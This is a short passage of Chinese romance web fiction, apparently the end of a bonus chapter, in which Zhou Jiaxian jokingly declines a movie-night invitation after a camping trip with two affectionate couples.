“行吧,你赢了。”周嘉先选择不去看一人画画,另一人满眼都是画画的人。 只不过,旁边那对互相喂水果的夫妻,你们能不能收敛一点,他还在这呢!周嘉先一时有些怀疑自己为什么要和他们一起出来露营了……呔! 林听眼底泛着闪耀的笑意,“对了,今晚都来我家看电影吧,我们新买了一个投影仪,还不错哦……画质非常棒!” 正在画画的张期期一听,立刻道:“好啊!大家一起看电影。” 周嘉先看了看陈恕、张期期,又看了看许兰亭、林听,他哼笑一声,扯了扯嘴角道,“不好意思,婉拒了哈……” 【番外完】